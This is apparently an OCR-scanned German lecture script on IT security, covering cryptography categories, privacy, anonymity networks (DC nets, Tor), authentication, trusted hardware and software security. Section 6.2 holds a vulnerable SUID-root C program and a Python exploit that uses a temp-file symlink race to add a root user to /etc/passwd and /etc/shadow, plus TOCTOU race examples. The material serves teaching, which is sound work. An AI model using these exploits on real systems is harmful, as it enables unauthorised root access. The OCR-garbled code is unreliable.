Wenig Untersucht: Mal abwarten

Wohl Untersucht: Sicherheit mathematisch nicht bewiesen, aber Forschung ergabt, dass wir zu bléd sind
diese Probleme effizient zu 16sen. Beispiele: RSA, DES, AES, ECC

Kryptographisch Sicher: Beruht meist auf NP schweren Problemen

Informationstheoreitsch Sicher: Theoretisch und Praktisch nicht brechbar. Beispiel: One-Time-Pad — Chiffre
und Klartext sind stochastisch unabhéngig

Historisch betrachtet kann man statt der Kategorien auch die Kerckhoffschen Prinzipien zur Hand nehmen, welche
jedes ansatzweise sichere Verfahren erfiillen sollte:

Kerckhoffsches Prinzip

Chiffre ist allgemein unentzifferbar
Sicherheit beruht nicht auf Geheimhaltung
System muss einfach anwendbar sein
System ist digital tibertragbar

System ist transportierbar

Abschliefend sei noch erklart, was der haufig auftretende Begriff ‘hybrides Verfahren’ bedeutet:
Hybride Verfahren

Kombination von symmetrischen und asymmetrischen Verfahren um die Vorteile beider Varianten ausnutzen
zu koénnen. Verschlisselt wird symmetrisch (meist effizienter), Schliisselaustausch geschiecht asymmetrisch
(symmetrisch nicht méglich).

4 Anonymitat und Privatsphire

Bisher wurde das allgemeine Konzept von Informationssicherheit betrachtet. In diesem Kapitel geht es um per-
sonenbezogene Daten, sogenannten Metadaten. Diese entstehen im Cypberspace andauernt und kénnen extrem
viele Informationen preis geben. Diese Daten sind sogar so wertvoll und interessant, dass ganze Firmen, wie z.b.
Facebook, dadurch Millionen verdienen. Daher gibt es seit 1983 ein Grundrecht auf informationelle Sicherheit dank
des Bundesverfassungsgerichts:

... Schutz des Einzelnen gegen unbegrenzte Erhebung, Speicherung,
Verwendung und Weitergabe seiner persénlichen Daten ...

Grundlegende Begrifflichkeiten dieses Kapitels sind folgende:

e Vertraulichkeit: (confidentiality, secrecy) Abwesenheit der Offenlegung vertraulicher Daten. Man unterscheidet
den Schutz von persoénlichen Daten (Privatssphare, privacy) und dem Schutz von Daten einer Organisation
(Geheimhaltung, secrecy)

e Anonymitit: (anonymity) Man ist anonym, wenn aus innerhalb einer Menge von Subjekten nicht identifiziert
werden kann

e Unverkettbarkeit: (unlinkability) Teil von Anonymitiat welcher besagt, dass man keinen Zusammenhang
zwischen Daten feststellen kann

4.1 Identitiat und Privatshiare

Es gibt nun mehrere Dimensionen der Privatsspdhre. Die erste Dimension ist die rdumliche Privatssphire, bei der
ein physischer Bereich, wie z.b. die eigene Wohnung, vor anderen Personen geschiitzt wird. Die zweite Dimension ist
die informationelle Privatssphire, bei der es um den Schutz von persolichen Daten und Geheimnissen geht. Die
dritte Dimension ist die personenbezogene Privatssphiire. Dabei geht es um Daten die einer bestimmten Person
zugeordnet sind. Aus diesen Personenbezogenen Daten kann man die Digitale Identitit bilden: Das ist die Menge
an moglichen technischen Daten, die einer Person zugeordnet werden kénnen. Diese besteht im Cyberspace meist
aus vielen Teilidentitdten, die man bei den einzelnen Anbietern von Dienstleistungen (Soziale Medien, Banken, etc.)
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hinterlegt hat. Gibt es solche Daten, gibt es demnach auch Probleme damit, daher sind im folgenden die wichtigsten
Bedrohungen der Privatssphére aufgelistet:

e Fehlentscheidungen durch Falschinformationen: Dadurch kann z.b. die Kreditwiirdigkeit beeintrachtigt
werden. Problem: Die falschen Daten konnen, z.b. bedingt durch Redundanz, nur schwierig korrigiert werden

e Langfristige Aufbewahrung: Daten kénnen beliebig lange aufbewahrt werden. Problem: Vergangenes wird
nicht vergessen

o Identitdtsdiebstahl: Betriiger konnen entweder einen Account tibernehmen oder im Namen einer anderen
Person einen Account erstellen

e Manipulation der Personlichkeit: Durch Personlichkeitsprofile kann Werbung angepasst werden und damit
das Verhalten und die Person manipuliert werden (z.b. Wahlbetrug)

e Vermeidung abweichenden Verhaltens: Das wissen dartuiber, dass Fehlverhalten dokumentiert wird farht
dazu, dass Versucht wird sich nicht falsch zu verhalten. Dadurch ist aber die Individuelle Freiheit gefardet

Friiher konnte man noch gut auf die Weitergabe von Daten verzichten. Heute geht dies nur, wenn man Einschrankungen
im sozialen Leben auf sich nimmt. Daher versucht man heute mit Werkzeugen und Gesetzen die Privatssphére zu
schuitzen.

4.2 Informationsflusskontrolle und Seitenkanile

Informationsfluss: Informationsfluss entsteht dann, wenn ein Empfanger/Beobachter etwas neues lernt, bzw. wenn
man aus Datenfluss etwas lernt. Bei Programmen kann man den Informationsfluss in vier Bereiche kategorisieren:

e Direkter Informationsfluss: Zweisungen, Nachrichtenverstand, Parametertibergabe: x =y

¢ Indirekter Informationsfluss: Riickschluss von Argumenten auf das Ergebnis einer Berechnung: x=y // 2
e Transitiver Informationsfluss: Mehrere Informationsfliisse hintereinander: x =y; y = z;

e Impliziter Informationsfluss: Abhangig vom Kontrollfluss: if(...) x =y

Die Kontrolle tiber den Informationsfluss kann man nun enthalten, wenn kein unauthorisierter Beobachter etwas
sieht, oder er die tibertragenen Daten nicht versteht(Krpyotgraphie). Dies ist jedoch extrem schwer, da es viele
Seitenkanalangriffe gibt, anhand derer man Informationen gewinnen kann.

Seitenkanile: Informationsfliisse die indirekt entstehen. Dadurch gibt es auch die Méglichkeit von Seitenkanalan-
griffen, welche die Informationsflusskontrolle erschweren. Beispiele sind Laufzeiten messen, gemeinsame Resourcen
analysieren, UBertragzbgsraten, Energieverbrauch, etc.

4.3 Anonymitit und anonyme Kommunikation
4.3.1 Probleme gangiger Browser

Die meistens Menschen sind nicht anonym im Cyberspace unterwegs. Anhand von Cookies, der IP-Adresse und vielen
weiteren Daten wird die Anonymitat untergraben. Viele dieser Daten sind technisch nicht notwendig und muissten
nicht preisgegeben werden.

4.3.2 DC-Netze

DC-Netze ist ein von David Chaum entworfenes kryptographisches Verfahren um perfekte Anynomitét in einem
Broad-Cast Netzwerk zu gewahrleisten. Es ist nachweislich perfekt anonym, was aus der Analogy zum One-Time-Pad
hervorgeht. Zur Funktionsweise: Da es ein Broadcast Netz ist, sind alle Teilnehmer zusammenhéangenden. Zudem ist
das System Rundenbasiert. Am Anfang einer Runde tauschen alle Teilnehmer jeweils einen gemeinsamen Schltissel
aus. Dadurch entsteht folgender Schliisselgraph:

In jeder Runde kann nur eine einzige Person eine Nachricht senden. Dafiir erstellt diese Person die Nachricht und
verrechnet sie mit allen anderen Schliisseln. Alle anderen Teilnehmer verrechnen wihrenddessen eine Nullnachricht
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mit allen Schltisseln. Dies sieht folgendermafien aus:

Echte Nachricht von Alice 1010 Null-Nachricht von Bob 0000 Null-Nachricht von Claude 0000
Schltissel mit Bob 1100 Schliissel mit Alice 1100 Schliissel mit Alice 1000
Schltissel mit Claude 1000 Schliissel mit Claude 0111 Schliissel mit Bob 0111
Alice verschickt: 1110 Bob verschickt: 1011 Claude verschickt: 1111

Die ursprungliche Nachricht erhalt man nun wieder, wenn man alle gesendeten und empfangenen Nachrichten
mit dem gleichen Prinzip miteinander verrechnet.

Kollisionen: Senden nun mehrere Teilnehmer gleichzeitig hat man eine Kollision. Die Kollision kann nur von den
beiden erkannt werden, die auch die Kollision verursacht haben, also keine Null-Nachrichten gesendet haben. DC-Netze
an sich bieten keine Méglichkeit diese Kollision aufzuldsen.

4.3.3 Proxys

Eine Proxy ist eine Zwischeninstanz, welcher die Nutzer anonymisiert. Daftir schicken die Nutzer ihre Daten an den
Proxy, welcher diese schlieflich weiterleitet und das Ergebnis an den Nutzer zurtickgibt. Fiir den Kommunikations-
partner des Nutzers ist nur der Proxy und nicht der Nutzer sichtbar. Das Problem ist aber, dass man dem Proxy
Anbieter vertrauen muss, da man diesem Gegentiber nicht anonym ist. (Javascript kann aber ein Problem sein, da es
am Proxy vorbeigehen kann)

4.3.4 Mix-Knoten

Dieses Konzept ist ahnlich zum Proxy-Konzept, erweitert dieses aber, um zum einen das Problem des Single Point of
Failure zu 16sen und zum anderen bessere Anonymitit zu gewahrleisten. Daftir hat man mehrere Mix Knoten, die
miteinander Verbunden sind. Jeder Mix-Knoten ist Ahnlich zu einem Proxy, nur dass der Mix Knoten Daten sammelt,
diese umsortiert und verandert und anschlieend eine grofiere Datenmenge weiterleitet.

4.3.5 Onion-Routing und der TOR-Browser

Damit werden die bisherigen Konzepte praktisch zusammengefasst und dies bildet die Grundlage fiir das heute am
meisten verwendete Netzwerk zur Anonymisierung: Das TOR-Netzwerk (Medial auch H4cker-DrOgen-W4ffen-Bose-
Dinge-Netzwerk genannt).

Onion-Routing: Dabei wird tiber mehrere Zwischenknoten, welche als eine Art Mix-Knoten fungieren, geroutet. Fur
jeden Knoten wird ein geheimer Schlissel erzeugt, mit dem die ausgehende Datenpaket verschliisselt werden. Beim
Routing werden diese Verschliisselungen sequentiell von den einzelnen Knoten aufgelést. Jeder Teilnehmer kennt nur
seinen Vorganger und Nachfolger (wie bei einer doppelt verketteten Liste).

MIX 1 MIX 2 MIX 3
client | mit  — . — mit + mit . s server
Keyl Key2 Key3

TOR-Netzwerk: Das TOR-Netzwerk basiert auf Onion Routing, wobei standardméflig drei Mix-Knoten verwendet
werden. Der letzte ein Exit-Knoten ist, welcher eine gesonderte Rolle einnimmt, da dieser den abschliefenden Trafik
sieht (Damit auch der Exit Knoten keinen Inhalt sieht, muss also eine Ende zu Ende Verschliisselung zwischen Server
und Client verwendet werden). Man kann auch einstellen, dass mehr als drei Mix-Knoten verwendet werden. Jeder
Client, welcher dem Onion-Netzwerk beitritt fungiert tibrigens als einer der mittleren (nicht Exit) Knoten.

Das Routing funktioniert folgendermafien: Alle Knoten werden in einem Dirctory auf einem Server erfasst. Anhand
dieses Servers wird der sogenannte Circuit erstellt, d.h. die jeweiligen Router werden ausgewéhlt. Der Circuit wird alle
10 Minuten aus sicherheitsgriinden erneuert. Der Rest findet anhand des Onion-Routing Systems statt. Dabei werden
die Schltissel nach dem Diffie-Hellman Prinzip ausgetauscht und die Daten mit AES verschliisselt. Anmerkung: Es ist
trotzdem moglich, in Spezialfillen deanonymisiert zu werden.

Hidden-Service: Mittels Hidden Services kann nun die Anonymitét von Dienstleistungen sicher gestellt werden. Dazu
gibt der seine Existenz und seinen Public Key dem Directory Server. Will ein Client auf den Service zugreifen, einigen
sich beide Parteien auf einen beliebigen 'Rendezvous’-Knoten (Ron-De-Wu). Dieser Zwischenknoten leitet dann einfach
die Anfragen in beide Richtungen weiter.
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Im Alltag kann man sich einfach mit seinem Ausweis authentifizieren, wenn man z.b. Alkohol kaufen méchte. Demnach
ist Authentifikation besonders wichtig um festzustellen, wer eine kritische Aktion durchfitihren darf und wer nicht.
Zudem wird dadurch auch die Zurechenbarkeit sichergestellt, es kann also nachgewiesen werden, wer eine Aktion
durchgeftihrt hat (haben kénnte).

Elemente der Authentifikation

Identitdt: Diese soll authentifiziert werden

Benutzer: Haben eine wahre Identitat

Benutzerkennung: behauptete Identitit eines Benutzers im Cyberspace
Prover: authentisiert sich gegentiber dem Verifizierer

Verifizierer: authentifiziert den Prover

Spoofing: Den Verifizierer von einer falschen Identitat tiberzeugen

Eine Authentifikation lauft dann folgendermafien ab:

Identifizierung Authentifikation Autorisierung

Der Prover Identifiziert sich, indm er dem Verifizierer sagt, welche Identitit er hat und was er tun méchte. Der
Verifizierer authentifiziert die Identitdt und autorisiert nach erfolgreicher Authentifikation dem Prover die geforderte
Aktion.

Basis fiir Authentifikationsfaktoren

e Wissen: Meist Geheimniss wie Passworter oder Pins

e Gegenstidnde: Sowas wie Schliissel, Ausweise, Chipkarten, etc.

e Eigenschaften des Provers: Korperliche Merkmale wie biometrische Daten

e Gesicherte Bereiche: Zugriff nur innerhalb von sicheren Bereichen, oder an sicheren Geraten

Ein grofies Problem dieser Faktoren ist nun aber, dass sie gestohlen oder kopiert werden kénnen. Es gibt aber noch
weitere Probleme der Authentifikation:
Grundsiitzliche Probleme

e Bootstrapping/Setup: Der Verifizierer muss den Prover kennen, um ihn zu authentifizieren. Es muss ein
Art Geheimnis (z.b. Passwort) ausgetauscht werden. Problem: Verlust des Geheimnisses

e Zeitliche Abhingigkeit (TOCTOU): Nachdem man sich authentifiziert hat, andert sich der Nutzer. Z.b. Wenn
man sich an seinem Rechner authentifiziert und jemand anderes dann diesen Rechner verwendet. Das Ziel
jedoch bleibt: Andauernde Authentifikation ohne permanente einen Authentifikationprozess durchzuftihren

e Benutzbarkeit: Authentifikation kann nervig sein. Ist diese zu aufwandig, wird sie nicht verwendet, daher
gibt es einen Tradoff zw. Benutzbarkeit und Sicherheit

e Vertrauenswiirdigkeit des Verifizierers: Die Integritat und Sicherheit des Verifizierer muss gewarhleitet
sein, da dieser Vertraulicher Daten wie Geheimnisse (Passworter) von Provers verarbeitet oder falschen
Identitaten kritische Aktionen autorisiert

Besonders die Vertrauenswurdigkeit von Verifizierern wird oftmals angegriffen. In der physischen Welt ist kann z.b.
Bestechung einen Verifizierer tiberlisten. In der digitalen Welt ist dies mit Phishing moéglich: z.B. mittels gefalschter
E-Mails und Webseiten dem Prover einen falschen Verifizierer vorgaukeln. Eine andere Moglichkeit ist Skimming:
Dabei werden durch eine Art Man-In-The-Middle Angriff die Daten des Provers gestohlen. Ein bekanntes Beispiel sind
die Vorrichtungen die an Bankautomaten angebracht werden, sodass Angreifer die Daten der Nutzer ausspionieren
koénnen.

HEY, T LOST THE ITS— WA 00H, GOOD QUEBTION!

SERVER PRSGWORD: | | HOWDOT KMoW | | T BET WE (AN (oMsTRUaT A cool
WHAT 15 IT AGAIN? | | IT5 REALLY YOU? | | PROOF-OF-IDENTIR PROTQOL. TLL
> START BY PICKING TWO RANDOM—

N AN

https://xkcd.com/1121/
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5.1 Referenzmonitor und Zugriffskontrolle

Bei der Zugriffskontrolle geht es darum einem Benutzer/Quelle/Subjekt mit ausreichenden Rechten den Zugriff (le-
sen/schreiben) auf ein Objekt/Resource zu autorisieren. Dazu kann man z.b. eine Zugriffskontrollmatrix verwenden:
In den Zeilen sind die Rechte der Benutzer und in den Spalten die Rechte fur die einzelnen Objekte:

‘ bill.doc edit.exe fun.com
Alice - { ausfuhren } { ausfiihren, lesen, schreiben }
Bob | { ausfuhren } - { ausfuhren, lesen}

Nun ist das Matrix Modell ineffizient. Eine Mdéglichkeit das zu 16sen ist, dass Benutzer eine Liste mit sich tragen, was
sie tun durfen und Objekte eine Spalte als Liste mit sich fiihren was gewisse Benutzer dirfen. Dies ist z.b. bei Unix
der Fall. Weitere Moglichkeiten:

Varianten der Zugriffskontrolle

e Benutzer in Gruppen mit gewissen Rechten zusammenfassen
e Ringstrukturen fir Privilegien(wie bei Betriebssystemen)
e Beliebig viele Variationen moglich

Der Referenzmonitor ist nun zustéandig, um die Zugriffskontrolle zu kontrollieren und durchzuftihren. Der Referenz-
monitor muss manipulationssicher sein, darf nicht umgehbar sein und muss klein genug sein, damit man diesen
intensiv prifen kann. Der Manipulationsschutz der Hardware muss daher physisch stattfinden, sodass ein Eingriff
von auf3en ausgeschlossen ist. Eine einfache Losung ist, das Rechensystem in Kunstwachs zu giefen, sodass man
nicht mehr auf die Hardware zugreifen kann.

Diese schwer manipulierbar Hardware nennt man auch vertrauenswiirdige Hardware. Die Grundidee ist Daten und
Berechnungen an ein physisch sicheres Objekt zu binden. Ein Beispiel sind Smartcards: Diese enthalten einen winzi-
gen Mikroprozessor und einen Kryptoschliissel (beides festverbaut, teilweise wird Kryptoschliissel auch anhand der
fest verbauten Hardware generiert). Ein weiteres Beispiel sind Trusted Platform Modules TPM: Das sind Smartcards
mit zusatzlichem Zufallsgenerator. Anhand dieser wird Secure Boot erméglicht. Dabei vergleicht das TPM Kkritischen
Boot-Code mit den im TPM hinterlegten Daten und gibt ggf. den Schltissel frei, damit das booten moglich ist. Dadurch
wird veranderte Soft- und Hardware erkannt und in diesen Féallen das Booten abgebrochen. Die Sicherheit ist zu einem
gewissen Punkt beweisbar. Ein letztes Beispiel sind Kryptoserver: Diese Bauteile sind speziell praperiert, sodass sie
mit Sensoren ein Eindringen von aufen erkennen kénnen und sich selbst zerstéren. Diese Bauteile haben zusatzlich
dann auch mehr Rechenleistung als einfache Smartcards und beinhalten alle nétigen Bauteile, sodass Manipulation
fast unmoéglich ist. Diese Module kénnen mit eigener Software bespielt werden und finden in speziellen und wichtigen
Anwendungen, wie z.b. Banken, eine Rolle.

5.2 Authentifikation des Verifizierers

Bisher wurde angenommen, dass der Prover nicht vertrauenwtirdig ist, aber genauso muss auch der Verifizierer
vertrauenwuirdig sein. Da der Verifizierer geheime Daten des Provers bekommt, muss auch sichergestellt werden, dass
diese geheim bleiben. Daftir wird im folgenden das Beispiel der Festplattenverschliisselung betrachtet: Wie kann der
Mensch als Verifizierer sicher gehen, dass der Laptop als Prover vertrauenswiirdig ist um anschlieffend das Passwort
einzugeben, obwohl ein Angreifer physischen Zugriff auf das Gerat hatte?

Start eines festplattenverschliisselten Rechners:

1. System startet, 1ad Code aus Bios und flihrt diesen aus

2. Code vom Anfang der Festplatte wird geladen und ausgefiihrt (Bootloader)
3. Bootloader fragt nach dem Passwort und leitet daraus ggf. den secret key ab
4. Festplatte kann nun entschlisselt und verwendet werden

Im folgenden werden ein paar Szenarios betrachtet, wie man diesen Start (durch physischen Eingriff) manipulieren
kann, und dies wiederum verhindert kann.

Szenario 1: Ohne weitere Sicherung es obrigen Verfahrens kann man einfach den Bootloader mit einem Bootkit
modifizieren und bei erneutem Start des Rechners das Passwort auslesen.

Szenario 2: Statt den Bootloader auf der Festplatte zu Speichern, erstellt man einen USB-Stick der dessen Funktiona-
litat erfallt. Man eine art zwei Faktor Authentifizierung. Angriff: Das Bios ist bisher, trotz Passwort, ungeschtitzt. Far
das Bios gibt es meistens namlich ein Masterpasswort (bios-pw.org), oder man kann das System reseten. Somit kann
man das Bios verdndern und das System dadurch manipulieren.

Szenario 3: Um nun das Bios zu sichern kann man ein TPM verwenden. Dadurch wird die Integritiat des Bios
sichergestellt. Angriff: Man kann das TPM vorzeitig tiberlisten. Dazu speichert man das Bios, ersetzt dieses durch ein
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Boot Block Bootkit mit gefalschter Passwortabfrage, fangt das Passwort ab, installiert anschlieffend wieder das Bios
und startet ganz normal.

Szenario 4: Wie Szenario 3, nur mit einer geheimen Parole, z.b. man gibt das Passwort nur ein, wenn das richtige
Hintergrundbild erscheint. Angriff: Angriff wie in Szenario 3 nur mit Zusatzschritt: Die Authentifikationsnachricht
muss wahrend eines vorrangehendes Bootdurchlaufs abgefangen werden.

Das STARK-Protokoll: Wie Szenario 4, nur das man nun immer wieder die Authentifikationsnachricht verandert:
Benutzer bootet und gibt das Passwort nur ein, wenn er die zuletzt gesetzte Authentifikationsnachricht sieht. An-
schliefend wird eine neue Authentifikationsnachricht erzeugt und im Bootloader gespeichert. Angriff: Bei richtiger
Implementierung noch nicht erfolgreich angegriffen.

5.3 Aspects of Trusting Trust

Grundlegende Frage: Sind unsere Quellen sicher? Bei Sicherheitsliicken denkt man oft an unzureichend programmierte
Programme. Es kann nun aber auch passieren, dass die Infrastruktur in der die Programme entwickelt werden und
laufen bedenklich ist. Ein Beispiel dafiir sind Compiler: Diese kénnen mit einer Zusatzfunktionalitat erweitert werden,
sodass sie beim compilieren eines Programmes eine Sicherheitsliicke erzeugen (Stichwort Code der Code produziert).
Im Quellcode des Programms findet sich diese Sicherheitsliicke folglich nicht. Bei Open Source Systemen kann der
Fehlerhafte Compiler nun schnell auffallen und erkannt werden.
Dies kann wiederum umgangen werden durch den Compiler, mit welchem der Compiler erstellt wird (Hintergrund:
Der C-Compiler ist in C geschrieben, indem man dem Compiler immer wieder neues ’beigebracht’ hat). Dadurch ist
verwendeten Compiler keine Sicherheitsliicke, aber im compilierten Compiler mit dem das Programm compiliert wird,
da der Compiler des Compilers die Sicherheitsliicke einbaut. Es entsteht ein Teufelskreis.
Fazit: Es gibt 3 Arten dies zu 16sen:

e Einen Compiler ohne Compiler bauen, der sicher ist

e Ab einem gewissen Punkt einen Compiler aus vertrauenwurdig deklarieren

e Mit mehrfachen Compilern die das gleiche erzeugen testen, ob diese wirklich das gleiche erzeugen
Dennoch bleibt die Frage: Wenn man schon bei Software Open Source Software ein gewisses Grundvertrauen benétigt,
wie ist das dann bei Hardware?

THE #1 PROGRAMMER EXCUSE
FOR LEGITIMATELY SLACKING OFF:

“MY CODE'S COMPILING.™

HEY! GET BACK
TOWORK!

5
T

https://xkecd.com/303/

OH. CARRY ON.

6 Softwaresicherheit

Durch das Gesetz der Komplexitat konnen Programme unerwiinschte Zusatzfunktionalitat haben. Diese kénnen von
Angreifern ausgenutzt werden und zur Verwundbarkeit eines IT-Systems fiihren.

Ziel des Angreifers

| Das Ziel eines Angreifers ist dabei immer eigenen Code mit moglichst hoher Berechtigung auszufiihren.

Im folgenden werden ein paar Beispiele erlautert dies umzusetzen:

6.1 Programmierfehler
Programmiersprachen haben oftmals ihre Eigenheiten. Ein besonderes Beispiel hierbei ist der Modulo Operator. Dieser
ist besonders flir negative Zahlen meist unterschiedlich definiert und kann zu Fehlern ftihren:

Algorithmus 6.1 (Modulo-Fehler in Java).
Der folgende Code sieht zwar auf den ersten Blick richtig aus, liefert fiir negative Zahlen aber ein falsches Ergebnis:

[0 public static boolean isOdd(int n){return n % 2 == 1;} ]

Ein weiteres Beispiel ist die Verwechlsung von Zeichen wie ’1’ und 1’ und T’
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6.2 Race Conditions

Race Conditions sind ein wichtiger Aspekt bei paralleler Programmierung, wenn mehrere Threads auf eine Resource
zugreifen. Dabei ist zwar der Codezugriff innerhalb eines Threads sequentiell, jedoch kann die Resource von einem
anderen Thread verandert werden, wodurch der Ausgangsthread fehlerhaft wird. So ein Verhalten kann auch, bedingt
durch das Betriebssystem (interrupts) auch bei nicht parallelem sequentiellem Code passieren.

6.2.1 Temporary File (-> /etc/shadow) Races

Diese Art von Race Conditions tritt auf, wenn ein Programm mit hoheren Rechten eine temporare Datei erzeugt.
Kennt ein Angreifer diese Temporare Datei, so kann er diese durch einen symbolic Link, welcher auf eine Systemdatei
zeigt, ersetzen. Dadurch wird das, was das urspringliche Programme in die temporare Datei schreiben wollte in
die Systemdatei geschrieben. Damit kann man nun beispielsweise einen Nutzer und ein dazugehoriges Passwort
einrichten, welcher Root-Privilegien besitzt.

Beispiel 6.2. (Temp-Data Race Condition)

Das folgende angreifbare Programm wurde als SUID-Root Programm kompiliert. Das bedeutet, dass die Programme,

obwohl sie von unprivilegierten Benutzern ausgefiihrt werden kénnen, mit effektiven Root Rechten laufen.
Angreifbares Programm

Exploit
0 include <stdio.h> .
#, ) 0 #!/usr/bin/env python
1 #include <string.h> .
. 1 import sys, crypt, os
2 #define TMP_FILE "./tmp" 9
3 .
4 int in(int h ¥ 3 # Beschreibt passwd und shadow
int main(int argc, char xxargv , .
o ge, g 4 def exploit(payload, file, wvuln):
5 if (argc < 2) { . .
. 5 # Biege tmp-Datei um
6 fprintf (stderr, "Bad args"); . - R . ,
6 os.symlink (file,” TMP_FILE")
7 return -1; . .
s ) 7 # Beschreibe Systemdatei
8 os.system(’ ./’ +vulnt’ '+ payload
9 # Red Alert: Bad Code 0 Y pay )
10 FILE ~fp = fopen (TMP_FILE "a+"); .
" £ (1t I)D ; pen ( - ! )i 10 # Erstellt Eintrag fuer /etc/shadow
it (! .
" P(" : " 11 def hashing(name, passwd):
error open") ; 2
p P ! 12 salt = 7515%s$’” % os.urandom(8) .encode (’
13 return -1;
" ) base_647)[:8]
13 whash = crypt.crypt (passwd, salt
15 if (strlen(argv[l]) >= 0x1000) { P ypt .crypt (passwd, salt)
. ) 14 shadow_msg = "%s:%s::::o:: % (name,
16 fprintf (stderr, "Input too big");
pwhash)
17 fclose (fp);
15 return shadow_msg
18 return -1;
16
19 } : 14 : ’
, ) 17 1f _ _name_ == '_ main___
20 printf ("Content written™); , ,
) fprintf (£ (1)) 18 name = ’'neo
1 rin "$s", argv ;
b by ! g ! 19 passwd = ’secret’
22 fflush (fp);
93 ind (£p) 20 vuln = "tmp_file’
rewin ; .
) p, 21 # Erstelle neuen User in passwd
24 printf ("File content:\n"); , ,
22 os.system (' rm tmp’)
25 char buf[0x10007]; , , ey,
) 23 setusr = name+’ :x:0:0::/root:/bin/sh
26 fread(buf, sizeof (char), 0x1000, fp) ; ) , o,
; 24 exploit (setusr,’ /etc/passwd’,vuln)
27 printf ("$s\n", buf);
25 # Passwort fuer den User
28 fclose (fp); , ,
26 os.system (' rm tmp’)
29 remove (TMP_FILE); )
27 setpw = hashing(name, passwd)
30 return 0; . , ;
51 ) 28 exploit (setpw, ’/etc/shadow’,vuln)
L J

Erklirung des Angriffes

Der Angriff ist in drei Teile unterteilt. Im ersten Teil wird ein neuer Root-User angelegt und im zweiten Teil wird das
dazugehorige Passwort angelegt. Das Anlegen dieser Informationen in Systemdateien wird mittels eines symbolic links
und des angreifbares Programms realisiert.

Um den Root-User anzulegen, muss man ersteinmal verstehen, wie die Eintrage in passwd aufgebaut sind:

name:x:UserID:GruppenlD:comment:homedirectory:logindirectory
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Wichtig dabei ist, dass Root als ID jeweils eine O hat. Dies muss jetzt nur noch in passwd gespeichert werden.
Um das Passwort anzulegen muss man ersteinmal verstehen, wie die Eintrage in shadow aufgebaut sind:

Username : Hash-Code : Timestamps
Hash-Code: $ {1,2,3,4,5,6} $ 8-Byte Salt $ Passwort-Hash

Die 1 oder 6 kennzeichnet, welcher Hashingalgorithmus verwendet wird. Der 8-Byte-Salt ist ein Kryptotool zur
Verbesserung der Kollisionsresistenz. Der Passwort-Hash besteht schlieflich aus Passwort und Hash. Mit Hilfe der
Python crypt-Library kann dies einfach berechnet werden.

Abschlieffend werden beide Informationen in die dazugehorigen Systemdateien mittels des angreifbaren Programms
geschrieben. Da man die temporare Datei kennt, kann man diese auch selbst als symbolic Link auf passwd bzw.
shadow anlegen. Ruft man dann das angreifbare Programm auf, so beschreibt dieses (umgeleitet durch den symlink),
die Systemdateien.

Schutz vor diesen Angriffen

Man sollte im Endeffekt Dateienamen nutzen, die nicht vorhersagbar sind. Dazu kann man beispielsweise die C-
Funktionen mkstemp oder tmpfile nutzen.

Man sollte besonders Funktionen meiden, die vorhersagbare temporare Dateinamen erzeugen, wie beispielsweise die
C-Funktionen tmpnam oder tempnam.

rgbm@homebox ~§ 5udo su HEY — WHO DOES
Password:

robm s ot in the sudoers file, «]EN' C: 'DMREDQR;DTESE
This incident will be reported.
rebmehomebox~§ I YOU KNOW, TVE
NEVER CHECKED.

(

O

https://xkcd.com/838/

6.2.2 TOC (-!Interrupt!-) TOU Races

Bei TOCTOU-Races kann kurzes Zeitfenster zwischen der Privilegienpriufungen einer Datei und dem Verwenden dieser
Datei ausgenutzt werden. Wahrend dem sogenannten Race-Window kann die Datei mit Hilfe von symbolischen Links
(symlinks) auf eine Systemdatei umgeleitet werden. Hat das verwundbar Programm Root-Rechte, dann kann eine
System Datei beschrieben. Ein ganz einfaches Race-Window sieht nun so aus:

0 if(access("file", R_OK) == 0){ # TOC = Time of Check
1 # Hier ist ein Racewindow entstanden

2 fp = fopen("file", "r"); # TOU = Time of Use

3}

Im folgenden werden ein paar Programme und ihre TOCTOU-Schwachstellen erlautert:

19


https://xkcd.com/838/

Autor: Julian Kotzur 6 Softwaresicherheit

~
ro #include <some stuff> 0 #include <some stuff> )
1 int main(int argc, char xxargv) { 1 int main (int argc, char x*argv) {
2 if (argc < 3) return -1; 2 if (argc < 3) return -1;
3 if(laccess(argv[2], W_OK)) { 3 struct stat st;
4 # Hier beginnt und endet das Race-Window! 4 if (stat(argv[2], &st) < 0) return -1;
5 FILE »fp = fopen(argv([2], "a+"); 5 # Hier beginnt das Race-Window!
6 if (!'fp) return -1; # Error creating fp 6 if (st.st_uid != getuid()) {
7 fwrite(argv[l], sizeof (char), strlen( 7 fprintf (stderr, "Wrong privileges");
argv([l]), fp); 8 return -1;}
fwrite ("\n", sizeof (char), 1, £fp); 9 if (!S_ISREG(st.st_mode)) {
fclose (fp); 10 fprintf (stderr, "Not a regular file");
10 } else printf ("Access denied!\n"); 11 return -1;
11 return 0; 12 }
12} 13 # Hier endet das Race-Window!
14 FILE *fp = fopen(argv[2], "a+t");
Mit ’access()’ wird tberpriift,ob derjenige, der das Pro- 12 #... Stuff for writing into fp ...#
gramm ausfiihrt auch wirklich die nétigen Berechtigungen | ;

hat (checks real user id). Bei einer normalen Systemfunk- ~

tion wie ’fopen()’ wird nur die effektive User ID tiberpriift, ] ) . .
also wem das Programm im System zuzuordnen ist (in Nachdem die Real User ID in st gespeichert wird, andert
diesem Fall root). Daher tritt die Race Condition zwischen Sich diese innerhalb der Variable nicht mehr. Daher hat

Zeile 3 und 5 auf. man hier ein relativ grof3es Race-Window.
- | 0 # Beispielhafter PseudoCode Exploit # )
0 #include <some stuff> 1 main():
1 int main(int argc, char x*xargv) { 2 payload = create_payload_passwd()
2 if (argc < 3) return -1; 3 exploit (payload, ’/etc/passwd’, wvuln)
3 struct stat stat0Old; 4 payload = create_payload_shadow ()
4 stat (argv([2], &stat_before); 5 exploit (payload, ’/etc/shadow’, wvuln)
5 if(laccess(argv[2], W_OK)) { 6
6 # Erstes Race-Window 7 exploit (playload, file, wvuln):
7 FILE xfp = fopen(argv([2], "a+"); 8 old = toString(sys('ls -1 "+ file))
8 if (!'fp) return -1; 9 new = toString(sys(’'ls -1 "+ file))
9 struct stat statNew; 10 sys_create (/ dummy’)
10 stat (argv([2], &stat_after); 11 while isEqual (old, new) :
11 # Zweites Race-Window 12 # Erster symlink ist fuer letzte
12 if (statOld.st_ino != statNew.st_ino) { 13 parallel (nice (0, symlink (dummy, tmp)))
13 return -1; 14 parallel (nice (19, sys (’ ./’ +vuln+payload+
14 } tmp)))
15 #... Stuff for writing into fp ...# 15 parallel (nice (0, symlink(file, tmp)))
16} 16 new = toString(sys('ls -1 7+ file))
L Y,

Hierbei gibt es nun zwei Race-Windows, da zweimal die Mittels nice() wird die Prozessprioritat auf niedrig (19) oder
